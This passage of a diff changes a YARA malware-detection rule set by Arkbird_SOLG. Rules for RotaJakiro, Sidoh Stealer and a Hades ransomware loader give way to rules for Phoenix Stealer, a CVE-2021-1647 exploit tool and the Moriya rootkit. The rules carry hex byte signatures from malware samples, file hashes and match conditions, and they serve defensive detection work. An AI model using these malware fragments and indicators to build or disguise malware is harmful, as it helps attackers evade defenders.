00 75 10 48 8b 44 24 40 8b 4c 24 68 48 8b 5c 24 60 eb 1d 48 8b 44 24 40 48 8b 5c 24 60 8b 4c 24 68 e8 8f 00 00 00 48 8b 6c 24 48 48 83 c4 50 c3 c7 44 24 38 00 00 00 00 48 8b 15 [3] 00 48 8d 74 24 38 48 89 14 24 48 89 44 24 08 48 89 5c 24 10 48 63 c1 48 89 44 24 18 48 89 74 24 20 48 c7 44 24 28 00 00 00 00 e8 } + $s5 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 49 42 43 67 4b 43 41 51 45 41 } condition: - uint16( 0 ) == 0x5a4d and filesize > 20KB and 2 of ( $EWS* ) and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 400KB and 4 of them } -rule ARKBIRD_SOLG_MAL_ELF_Rotajakiro_May_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Phoenix_Stealer_Jun_2021_1 : FILE { meta: - description = "Detect the ELF version of RotaJakiro" + description = "Detect the Phoenix Stealer" author = "Arkbird_SOLG" - id = "a67f9b64-8778-542f-8481-566a4ffaf5e8" - date = "2020-05-07" - modified = "2021-05-08" - reference = "https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-08/RotaJakiro/MAL_ELF_RotaJakiro_May_2021_1.yara#L1-L21" + id = "8c9df216-cbfe-51f3-a6d7-cfeb99fafbe0" + date = "2021-11-01" + modified = "2021-11-01" + reference = "https://twitter.com/3xp0rtblog/status/1455111070566207493/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Phoenix_Stealer/MAL_Phoenix_Stealer_Jun_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "8e4b9ef8a908a13e738da31b28c879228c3bdc1d8461417b1c1bf31026c98abf" + logic_hash = "989c2518a42201559265ce4b974b35df5c4b8365e53f789fc124ee969e747c87" score = 75 quality = 75 tags = "FILE" - hash1 = "0958e1f4c3d14e4de380bda4c5648ab4fa4459ef8f5daaf32bb5f3420217af32" - hash2 = "5d753e72ef89f1cef3b7007df812c7a504727816a7b91ecd75cc9acdfb7e9c2e" - hash3 = "a18bec90b2b6185362eeb67c516c82dd34cd8f6a7423875921572e97ae1668b0" - hash4 = "af2a2be20d7bbec0a9bb4a4dfa898aa18ef4994a9791d7cf37b7b62b379992ac" - hash5 = "d38e8f113c36cfa9e05c4d0d6b526d81b69039430c3b1fc64a08a3445b5a5abe" + hash1 = "5bbfeee67b9b087ed228eccdacd4a7e71d40f7f96ad869903e02d9c3b02adbe5" + hash2 = "34f78f4028c51f6340c1f4846b65252fa6686ba0a5ab8ebc35c737a8960ba43e" + hash3 = "e51de8c43034fafaa49f81e9cc955c0cf60dc9684f28d8c355baf0724710de1f" tlp = "White" - adversary = "Oceanlotus" + adversary = "-" strings: - $seq1 = { 41 57 41 56 41 55 41 54 41 89 f5 55 53 49 89 fc 48 83 ec 58 64 48 8b 04 25 28 00 00 00 48 89 44 24 48 31 c0 e8 77 60 ff ff 89 c7 e8 20 60 ff ff 48 8b 58 20 c6 44 24 10 85 48 8d 7c 24 10 c6 44 24 11 2d c6 44 24 12 c5 ba 22 00 00 00 c6 44 24 13 7a c6 44 24 14 02 be 30 00 00 00 c6 44 24 15 58 c6 44 24 16 30 c6 44 24 17 e4 c6 44 24 18 8a c6 44 24 19 37 c6 44 24 1a bd c6 44 24 1b 68 c6 44 24 1c f6 c6 44 24 1d f8 c6 44 24 1e 6c c6 44 24 1f 8c c6 44 24 20 97 c6 44 24 21 cb c6 44 24 22 73 c6 44 24 23 bd c6 44 24 24 7b c6 44 24 25 19 c6 44 24 26 93 c6 44 24 27 a0 c6 44 24 28 26 c6 44 24 29 26 c6 44 24 2a ae c6 44 24 2b 1c c6 44 24 2c 96 c6 44 24 2d 1d c6 44 24 2e 0f c6 44 24 2f be 44 8b 05 b6 7c 21 00 48 8b 0d b7 7c 21 00 c6 44 24 30 b2 c6 44 24 31 7d c6 44 24 32 48 c6 44 24 33 b9 c6 44 24 34 b6 c6 44 24 35 a4 c6 44 24 36 30 c6 44 24 37 43 c6 44 24 38 06 c6 44 24 39 e3 c6 44 24 3a 4f c6 44 24 3b 06 c6 44 24 3c f5 c6 44 24 3d 87 c6 44 24 3e d5 c6 44 24 3f 6a e8 3a 71 ff ff 48 89 df 48 89 c6 48 89 c5 e8 bc 6c ff ff 45 85 ed 48 89 c3 0f 85 a0 00 00 00 48 89 df e8 58 6e ff ff 85 c0 0f 84 30 01 00 00 8b 05 2a 7c 21 00 48 c7 44 24 08 00 00 00 00 48 83 ec 08 c7 44 24 0c 00 00 00 00 4c 8b 0d 16 7c 21 00 ba 2a 00 00 00 4c 89 e6 bf 01 00 00 00 50 4c 8d 44 24 14 48 8d 4c 24 18 e8 b1 71 ff ff 85 c0 5a } - $seq2 = { 41 54 41 b8 08 00 00 00 55 53 b9 00 f3 61 00 ba 42 00 00 00 49 89 fd 49 89 f4 48 83 ec 68 be 50 00 00 00 48 89 e7 c6 04 24 bf c6 44 24 01 cf 64 48 8b 04 25 28 00 00 00 48 89 44 24 58 31 c0 c6 44 24 02 c6 c6 44 24 03 a1 c6 44 24 04 20 c6 44 24 05 76 c6 44 24 06 5d c6 44 24 07 e5 c6 44 24 08 ec c6 44 24 09 87 c6 44 24 0a 45 c6 44 24 0b 26 c6 44 24 0c e1 c6 44 24 0d c8 c6 44 24 0e 8e c6 44 24 0f c0 c6 44 24 10 89 c6 44 24 11 d2 c6 44 24 12 ac c6 44 24 13 c1 c6 44 24 14 01 c6 44 24 15 08 c6 44 24 16 ac c6 44 24 17 8e c6 44 24 18 52 c6 44 24 19 65 c6 44 24 1a c9 c6 44 24 1b 06 c6 44 24 1c be c6 44 24 1d 82 c6 44 24 1e ef c6 44 24 1f 85 c6 44 24 20 9f c6 44 24 21 96 c6 44 24 22 fa c6 44 24 23 65 c6 44 24 24 50 c6 44 24 25 dd c6 44 24 26 0e c6 44 24 27 e0 c6 44 24 28 87 c6 44 24 29 ba c6 44 24 2a 27 c6 44 24 2b f8 c6 44 24 2c ef c6 44 24 2d 5c c6 44 24 2e 60 c6 44 24 2f 07 c6 44 24 30 b1 c6 44 24 31 c5 c6 44 24 32 3d c6 44 24 33 81 c6 44 24 34 df c6 44 24 35 87 c6 44 24 36 64 c6 44 24 37 01 c6 44 24 38 04 c6 44 24 39 9b c6 44 24 3a f9 c6 44 24 3b da c6 44 24 3c 28 c6 44 24 3d f1 c6 44 24 3e 30 c6 44 24 3f cb c6 44 24 40 c8 c6 44 24 41 48 c6 44 24 42 43 c6 44 24 43 e6 c6 44 24 44 e5 c6 44 24 45 f3 c6 44 24 46 c9 c6 44 24 47 8b c6 44 24 48 3c c6 44 24 49 a7 c6 44 24 4a 8b c6 44 24 4b 48 c6 44 24 4c 54 c6 44 24 4d 13 c6 44 24 4e 2b c6 44 24 4f bb e8 a4 aa ff ff bf 00 04 00 00 48 89 c5 e8 77 9a ff ff be 00 04 00 00 48 89 c3 48 89 c7 e8 37 9b ff ff 4c 89 ea 48 } - $seq3 = { 48 8d 7c 24 10 c6 44 24 10 fb c6 44 24 11 d0 64 48 8b 04 25 28 00 00 00 48 89 84 24 08 01 00 00 31 c0 c6 44 24 12 8d c6 44 24 13 ac c6 44 24 14 db c6 44 24 15 79 c6 44 24 16 84 c6 44 24 17 52 c6 44 24 18 44 c6 44 24 19 46 c6 44 24 1a 6c c6 44 24 1b d1 c6 44 24 1c ac c6 44 24 1d 31 c6 44 24 1e ca c6 44 24 1f 18 c6 44 24 20 18 c6 44 24 21 90 c6 44 24 22 ec c6 44 24 23 8f c6 44 24 24 a1 c6 44 24 25 74 c6 44 24 26 a8 c6 44 24 27 9a c6 44 24 28 53 c6 44 24 29 d4 c6 44 24 2a a4 c6 44 24 2b 5b c6 44 24 2c 68 c6 44 24 2d c8 c6 44 24 2e dd c6 44 24 2f a5 e8 18 a9 ff ff 48 89 c7 49 89 c5 e8 4d a6 ff ff 83 f8 01 74 40 31 db 4d 85 ed 74 08 4c 89 ef e8 b9 95 ff ff 48 8b 8c 24 08 01 00 00 64 48 33 } - $seq4 = { ba 15 00 00 00 be 20 00 00 00 c6 44 24 30 b1 c6 44 24 31 be c6 44 24 32 54 c6 44 24 33 93 c6 44 24 34 29 c6 44 24 35 67 c6 44 24 36 1f c6 44 24 37 b5 c6 44 24 38 a5 c6 44 24 39 ec c6 44 24 3a 18 c6 44 24 3b 53 c6 44 24 3c f0 c6 44 24 3d f1 c6 44 24 3e fe c6 44 24 3f 9f c6 44 24 40 27 c6 44 24 41 8f c6 44 24 42 8d c6 44 24 43 77 c6 44 24 44 1e c6 44 24 45 e1 c6 44 24 46 e1 c6 44 24 47 f0 c6 44 24 48 9e c6 44 24 49 e2 c6 44 24 4a 0d c6 44 24 4b 96 c6 44 24 4c ff c6 44 24 4d 6c c6 44 24 4e b4 c6 44 24 4f 16 e8 09 a8 ff ff 4c 89 ef 48 89 c6 49 89 c4 e8 8b a3 ff ff 48 8d bc 24 90 00 00 00 41 b8 08 00 00 00 b9 00 f3 61 00 ba 69 00 00 00 be 70 00 00 00 48 89 04 24 c6 84 24 90 00 00 00 b3 c6 84 24 91 00 00 00 0b c6 84 24 92 00 00 00 18 c6 84 24 93 00 00 00 fd c6 84 24 94 00 00 00 71 c6 84 24 95 00 00 00 3b c6 84 24 96 00 00 00 b7 c6 84 24 97 00 00 00 fc c6 84 24 98 00 00 00 70 c6 84 24 99 00 00 00 18 c6 84 24 9a 00 00 00 f7 c6 84 24 9b 00 00 00 22 c6 84 24 9c 00 00 00 2d c6 84 24 9d 00 00 00 75 c6 84 24 9e 00 00 00 5d c6 84 24 9f 00 00 00 8f c6 84 24 a0 00 00 00 75 c6 84 24 a1 00 00 00 60 c6 84 24 a2 00 00 00 91 c6 84 24 a3 00 00 00 b3 c6 84 24 a4 00 00 00 1a c6 84 24 a5 00 00 00 0b c6 84 24 a6 00 00 00 00 c6 84 24 a7 00 00 00 5c c6 84 24 a8 00 00 00 6b c6 84 24 a9 00 00 00 8d c6 84 24 aa 00 00 00 ee c6 84 24 ab 00 00 00 3b c6 84 24 ac 00 00 00 7e c6 84 24 ad 00 00 00 67 c6 84 24 ae 00 00 00 72 c6 84 24 af 00 00 00 43 c6 84 24 b0 00 00 00 f6 c6 84 24 b1 00 00 00 14 c6 84 24 b2 00 00 00 32 c6 84 24 b3 00 00 00 c1 c6 84 24 b4 00 00 00 79 c6 84 24 b5 00 00 00 0d c6 84 24 b6 00 00 00 0d c6 84 24 b7 00 00 00 22 c6 84 24 b8 00 00 00 e1 c6 84 24 b9 00 00 00 bd c6 84 24 ba 00 00 00 3f c6 84 24 bb 00 00 00 82 c6 84 24 bc 00 00 00 dd c6 84 24 bd 00 00 00 23 c6 84 24 be 00 00 00 7d c6 84 24 bf 00 00 00 87 c6 84 24 c0 00 00 00 34 c6 84 24 c1 00 00 00 9d c6 84 24 c2 00 00 00 43 c6 84 24 c3 00 00 00 98 c6 84 24 c4 00 00 00 da c6 84 24 c5 00 00 00 e0 c6 84 24 c6 00 00 00 3d c6 84 24 c7 00 00 00 64 c6 84 24 c8 00 00 00 1a c6 84 24 c9 00 00 00 d7 c6 84 24 ca 00 00 00 f5 c6 84 24 cb 00 00 00 5a c6 84 24 cc 00 00 00 c3 c6 84 24 cd 00 00 00 9c c6 84 24 ce 00 00 00 97 c6 84 24 cf 00 00 00 c7 c6 84 24 d0 00 00 00 65 c6 84 24 d1 00 00 00 8f c6 84 24 d2 00 00 00 99 c6 84 24 d3 00 00 00 eb c6 84 24 d4 00 00 00 2f c6 84 24 d5 00 00 00 2b c6 84 24 d6 00 00 00 d0 c6 84 24 d7 00 00 00 d9 c6 84 24 d8 00 00 00 4e c6 84 24 d9 00 00 00 8f c6 84 24 da 00 00 00 7b c6 84 24 db 00 00 00 97 c6 84 24 dc 00 00 00 3b c6 84 24 dd 00 00 00 14 c6 84 24 de 00 00 00 e9 c6 84 24 df 00 00 00 e9 c6 84 24 e0 00 00 00 82 c6 84 24 e1 00 00 00 48 c6 84 24 e2 00 00 00 dc c6 84 24 e3 00 00 00 a3 c6 84 24 e4 00 00 00 75 c6 84 24 e5 00 00 00 ca c6 84 24 e6 00 00 00 e6 c6 84 24 e7 00 00 00 40 c6 84 24 e8 00 00 00 6b c6 84 24 e9 00 00 00 b1 c6 84 24 ea 00 00 00 68 c6 84 24 eb 00 00 00 42 c6 84 24 ec 00 00 00 56 c6 84 24 ed 00 00 00 b4 c6 84 24 ee 00 00 00 ac c6 84 24 ef 00 00 00 2a c6 84 24 f0 00 00 00 fc c6 84 24 f1 00 00 00 34 c6 84 24 f2 00 00 00 fa c6 84 24 f3 00 00 00 1d c6 84 24 f4 00 00 00 1b c6 84 24 f5 00 00 00 9a c6 84 24 f6 00 00 00 62 c6 84 24 f7 00 00 00 b3 c6 84 24 f8 00 00 00 39 c6 84 24 f9 00 00 00 6a c6 84 24 fa 00 00 00 19 c6 84 24 fb 00 00 00 1b c6 84 24 fc 00 00 00 f3 c6 84 24 fd 00 00 00 c5 c6 84 24 fe 00 00 00 d2 c6 84 24 ff 00 00 00 6a e8 55 a4 ff ff 48 89 c7 48 89 c5 e8 4a 92 ff ff 44 8d 7c 03 0a 4d 63 ff 4c 89 ff e8 1a 94 ff ff 4c 89 fe 48 89 c3 48 89 c7 e8 dc 94 ff ff 4c 89 f2 48 89 ee 48 89 df 31 c0 e8 2c 95 ff ff 48 89 da 8b 0a 48 83 c2 04 8d 81 ff fe fe fe f7 d1 21 c8 25 80 80 80 80 74 e9 89 c1 4c 8b 3c 24 48 89 de c1 e9 10 a9 80 80 00 00 0f 44 c1 48 8d 4a 02 4c 89 ff 48 0f 44 d1 89 c1 00 c1 48 83 da 03 48 29 da e8 93 a8 ff ff 4c 89 ff be ed 01 00 00 4c 89 3c 24 e8 d2 aa ff ff 48 8d 44 24 50 41 b8 08 00 00 00 b9 00 f3 61 00 ba 34 00 00 00 be 40 00 00 00 c6 44 24 50 c6 48 89 c7 c6 44 24 51 3b c6 44 24 52 16 c6 44 24 53 01 c6 44 24 54 92 c6 44 24 55 36 c6 44 24 56 81 c6 44 24 57 c8 c6 44 24 58 f3 c6 44 24 59 49 c6 44 24 5a a8 c6 44 24 5b 02 c6 44 24 5c 6f c6 44 24 5d 9d c6 44 24 5e db c6 44 24 5f 61 c6 44 24 60 8a c6 44 24 61 e3 c6 44 24 62 f4 c6 44 24 63 1b c6 44 24 64 33 c6 44 24 65 4d c6 44 24 66 b4 c6 44 24 67 00 c6 44 24 68 f4 c6 44 24 69 76 c6 44 24 6a 70 c6 44 24 6b 56 c6 44 24 6c e2 c6 44 24 6d f3 c6 44 24 6e 5c c6 44 24 6f 73 c6 44 24 70 06 c6 44 24 71 de c6 44 24 72 c5 c6 44 24 73 fa c6 44 24 74 4c c6 44 24 75 7b c6 44 24 76 34 c6 44 24 77 b9 c6 44 24 78 d3 c6 44 24 79 a6 c6 44 24 7a 9b c6 44 24 7b 03 c6 44 24 7c f7 c6 44 24 7d 8e c6 44 24 7e 37 c6 44 24 7f 6a c6 84 24 80 00 00 00 3a c6 84 24 81 00 00 00 97 c6 84 24 82 00 00 00 57 c6 84 24 83 00 00 00 25 c6 84 24 84 00 00 00 2c c6 84 24 85 00 00 00 ac c6 84 24 86 00 00 00 a6 c6 84 24 87 00 00 00 de c6 84 24 88 00 00 00 29 c6 84 24 89 00 00 00 ca c6 84 24 8a 00 00 00 c0 c6 84 24 8b 00 00 00 93 c6 84 24 8c 00 00 00 67 c6 84 24 8d 00 00 00 47 c6 84 24 8e 00 00 00 8d c6 84 24 8f 00 00 00 } + $s1 = { 6a 16 58 0f be c8 88 85 b0 fe ff ff c7 85 d8 fe ff ff 42 73 7a 73 c7 85 dc fe ff ff 71 64 77 7b c7 85 e0 fe ff ff 38 73 6e 73 c6 85 e4 fe ff ff 00 e8 aa 73 ff ff 89 85 94 } + $s2 = "UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s" ascii + $s3 = { b8 c9 11 47 00 e8 c3 c5 01 00 68 f8 d7 47 00 33 db 53 53 ff 15 cc 20 47 00 53 50 89 85 d0 fc ff ff ff 15 d0 20 47 00 85 c0 0f 85 92 02 00 00 6a 01 ff 15 8c 22 47 00 84 c0 79 f4 53 e8 e2 aa 00 00 50 e8 1e 98 00 00 8b 35 84 22 47 00 8d 85 ec fe ff ff 59 59 50 53 53 6a 1c 53 ff d6 8d 8d ec fe ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 ec fe ff ff 51 50 b9 f0 5b 48 00 e8 bf 0e 00 00 8d 85 e8 fd ff ff 50 68 04 01 00 00 ff 15 40 20 47 00 8d 8d e8 fd ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 e8 fd ff ff 51 50 b9 08 5c 48 00 e8 89 0e 00 00 8d 85 e4 fc ff ff 50 53 53 6a 1a 53 ff d6 8d 8d e4 fc ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 e4 fc ff ff 51 50 b9 90 5b 48 00 e8 57 0e 00 00 8b fb 89 9d dc fc ff ff 8b f3 89 bd d4 fc ff ff 89 b5 d8 fc ff ff 83 65 fc 00 33 c9 6a 16 5a 41 e8 71 05 ff ff 8b cf 89 85 e0 fc } + $s4 = { 6a 01 ff 15 98 22 47 00 85 c0 74 5d 6a 00 ff 15 a0 22 47 00 85 c0 74 51 56 6a 01 ff 15 94 22 47 00 8b f0 85 f6 74 3b 56 ff 15 38 21 47 00 8b d0 85 d2 74 27 8b ca 57 8d 79 01 8a 01 41 84 c0 75 f9 2b cf 6a 03 51 8b 0d 6c 72 48 00 52 ba 58 d7 47 00 e8 95 1b fe ff 83 c4 0c 5f 56 ff 15 64 21 47 00 } + $s5 = { 81 ec 14 02 00 00 a1 0c 50 48 00 33 c5 89 45 fc 53 56 8b d9 be 19 27 00 00 57 8b 7d 0c 83 fb ff 75 0c e8 bb eb ff ff 89 37 89 47 04 eb 17 ff 75 08 52 53 ff 15 bc 22 47 00 85 c0 8b cf 0f 95 c2 e8 b8 fe ff ff e8 98 eb ff ff 8b 4f 04 8b 49 04 3b 48 04 75 08 81 3f 34 27 00 00 74 20 e8 80 eb ff ff 8b 4f 04 8b 49 04 3b 48 04 0f 85 b9 00 00 00 81 3f 33 27 00 00 0f 85 ad 00 00 00 83 fb ff 75 0c e8 5b eb ff ff 89 37 e9 99 00 00 00 33 c0 89 9d f8 fd ff ff 40 89 9d fc fe ff ff 89 85 f4 fd ff ff 89 85 f8 fe ff ff 8d 85 f8 fe ff ff 6a 00 50 8d 85 f4 fd ff ff 50 6a 00 8d 43 01 50 ff 15 d8 22 47 00 8b f0 8b cf 85 f6 0f 98 c2 e8 2a fe ff ff 85 f6 78 53 83 a5 f0 fd ff ff 00 8d 85 ec fd ff ff 50 8d 85 f0 fd ff ff c7 85 ec fd ff ff 04 00 00 00 50 68 07 10 00 00 68 ff ff 00 00 53 ff 15 b0 22 47 00 8b f0 8b cf 85 f6 0f 95 c2 e8 e8 fd ff } condition: - uint32( 0 ) == 0x464c457f and filesize > 10KB and 3 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 80KB and 4 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Sidoh_Stealer_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_EXP_CVE_2021_1647_Apr_2021_1 : CVE_2021_1647 FILE { meta: - description = "Detect Sidoh Stealer used by RYUK group" + description = "Detect CVE-2021-1647 tool " author = "Arkbird_SOLG" - id = "b4661304-6dfa-5c33-95f2-8694271b9e58" - date = "2021-08-31" - modified = "2021-09-01" - reference = "https://www.crowdstrike.com/blog/sidoh-wizard-spiders-mysterious-exfiltration-tool/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-31/Sidoh/MAL_Sidoh_Stealer_Aug_2021_1.yara#L1-L22" + id = "c4c14d22-adf8-51b1-b898-7e253447824f" + date = "2021-05-04" + modified = "2021-05-05" + reference = "-" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-04/CVE-2021-1647/EXP_CVE_2021_1647_Apr_2021_1.yara#L1-L18" license_url = "N/A" - logic_hash = "baeea14c6be42d64d3ca68298bf6ced34c9587fcda91471945cfc7ed1fe267bd" + logic_hash = "58f16973f68b1b792f6f1575b6a3f386493d033767ee97e48a33044e3ddc3426" score = 75 quality = 75 - tags = "FILE" - hash1 = "a1ce52437252001b56c9ccd2d2da46240dc38db8074a5ed39a396e8c8e387fc2" - hash2 = "c64269a64b64b20108df89c4f1a415936c9d9923f8761d0667aa8492aa057acb" - hash3 = "e6762cb7d09cd90d5469e3c3bfc3b47979cd67aa06c06e893015a87b0348c32c" - hash4 = "cc4a0b4080844e20fb9535679f7b09a3e2449729ce1815d1e5a64272b0225465" - tlp = "White" - adversary = "RYUK (RAAS)" + tags = "CVE-2021-1647, FILE" + hash1 = "6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788" + hash2 = "9eaea8a56c47524f6d6b2e2bb72d035c1aa782a4f069ef9df92a0af5c6ee612b" + hash3 = "db0e53c9db41d4de21f4bbf1f60d977f5d935239d3fce8b902e8ef0082796cc7" + hash4 = "24d9ff44affea06435829507e8e6cb4b659468aa2af510031ed963caf5a6d77a" + tlp = "Green" + adversary = "-" strings: - $s1 = { 68 88 13 00 00 ff 15 ?? 30 41 00 ff 76 04 ff 15 ?? 30 41 00 68 10 27 00 00 53 68 ?? f6 41 00 e8 ?? ?? 00 00 83 c4 0c ff 15 ?? 30 41 00 8b f8 8b f3 8b d7 8b ce d3 ea f6 c2 01 74 34 8d 46 41 6a 3a 66 a3 ?? f6 41 00 58 66 a3 ?? f6 41 00 33 c0 68 ?? f6 41 00 66 a3 ?? f6 41 00 ff 15 ?? 30 41 00 83 f8 05 74 0a b9 ?? f6 41 00 e8 ?? ?? 00 00 46 83 fe 1a 7c bb 68 10 27 00 00 53 68 ?? f6 41 00 e8 ?? ?? 00 00 8b 3d ?? 30 41 00 8d 44 24 28 83 c4 0c 89 5c 24 1c 6a 01 50 53 ff d7 8b 35 ?? 30 41 00 6a 04 68 00 10 00 00 ff 74 24 24 53 ff d6 8b d8 8d 44 24 1c 6a 01 50 53 89 5c 24 30 ff d7 6b 0b 18 6a 04 68 00 10 00 00 51 33 c9 51 ff d6 68 00 40 00 00 6a 40 89 44 24 38 ff 15 ?? 30 41 00 33 f6 89 44 24 2c 89 74 24 } - $s2 = { 8b ca c1 e9 02 f3 a5 8b ca 83 e1 03 f3 a4 33 f6 56 56 56 6a 01 56 ff 15 ?? 31 41 00 a3 ?? ?? 42 00 8b fe 85 c0 74 4e 56 68 00 00 00 08 6a 01 68 ?? ?? 41 00 68 ?? ec 41 00 6a 15 ff 75 f8 50 ff 15 ?? 31 41 00 8b f8 85 ff 74 42 56 6a 02 8d 85 f0 fc ff ff 50 53 57 ff 15 ?? 31 41 00 85 c0 75 0f ff 15 ?? 30 41 00 8b d8 a1 ?? ?? 42 00 eb 08 a1 ?? ?? 42 00 33 db 43 8b 35 ?? 31 41 00 50 ff d6 57 ff d6 8b c3 5f 5e 5b 8b e5 } - $s3 = { 55 8b ec 83 ec 58 53 8b 1d ?? 30 41 00 56 57 6a 04 68 00 10 00 00 6a 02 6a 00 89 55 f0 8b f1 ff d3 8b f8 85 ff 75 08 83 c8 ff e9 0f 01 00 00 56 68 ?? ?? 41 00 57 e8 93 ff ff ff 83 65 f8 00 8d 45 f8 50 6a 00 57 ff 15 ?? 31 41 00 83 c4 18 8b f0 83 7d f8 00 89 75 f4 74 04 6a fd eb 33 83 65 ac 00 8d 45 ac 50 ff 15 ?? 31 41 00 8d 45 ac 50 6a 00 68 ?? ?? 41 00 56 ff 15 ?? 31 41 00 83 c4 14 83 7d c8 00 77 10 72 06 } - $s4 = { 6a 04 68 00 10 00 00 ff 75 c4 6a 00 ff d3 8b d8 85 db 75 1a 68 00 80 00 00 50 57 ff 15 ?? 30 41 00 56 ff 15 ?? 31 41 00 59 6a fb 58 eb 79 6a 00 68 ?? ?? 41 00 56 ff 15 ?? 31 41 00 ff 75 c8 8b f0 ff 75 c4 53 56 ff 15 ?? 31 41 00 56 ff 15 ?? 31 41 00 ff 75 f4 ff 15 ?? 31 41 00 ff 75 08 8b 55 c4 8b cb ff 75 f0 e8 3b 02 00 00 8b f0 83 c4 2c 85 f6 75 14 83 7d 08 05 75 0e 8b 55 c4 51 8b cb e8 b3 09 00 00 59 8b f0 68 00 80 00 00 6a 00 53 ff 15 ?? 30 41 00 68 00 80 00 00 6a 00 57 ff 15 ?? 30 41 00 8b c6 5f 5e 5b 8b e5 } + $seq1 = { 83 7d ec 01 0f 8e fe 76 ff ff 83 45 f4 01 83 7d f4 01 0f 8e e4 76 ff ff 8b 45 e4 89 04 24 e8 12 74 ff ff 83 ec 04 a1 [2] 01 b1 85 c0 75 0e 8b 45 e4 89 04 24 e8 fb 73 ff ff 83 ec 04 a1 28 ?? 01 b1 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 ff d0 83 ec 08 b8 00 00 00 00 c9 c2 04 00 55 89 e5 83 ec 10 c7 45 f4 00 ?? 01 70 8b 45 08 83 e8 01 a3 70 ?? 01 b1 c7 05 74 ?? 01 b1 00 00 00 00 c7 05 a0 ?? 02 b1 00 00 00 00 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 } + $seq2 = { a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 75 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc c7 45 f8 00 00 00 00 eb 19 8b 45 f8 05 e2 ff ff 7f 8d 14 00 8b 45 fc 01 d0 66 c7 00 01 00 83 45 f8 01 83 7d f8 3b 7e e1 8b 45 fc } condition: - uint16( 0 ) == 0x5A4D and filesize > 20KB and all of ( $s* ) + filesize > 10KB and all of them } -rule ARKBIRD_SOLG_Ran_Loader_Hades_Dec_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Moriya_May_2021_1 : FILE { meta: - description = "Detect the loader used by Hades ransomware for load the final implant in memory" + description = "Detect Moriya rootkit used in the TunnelSnake operation" author = "Arkbird_SOLG" - id = "d48d3a2b-3f0f-5da2-aba9-db2366489a6c" - date = "2020-12-27" - modified = "2021-01-01" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-01/Hades/Ran_Loader_Hades_Dec_2020_1.yar#L2-L24" 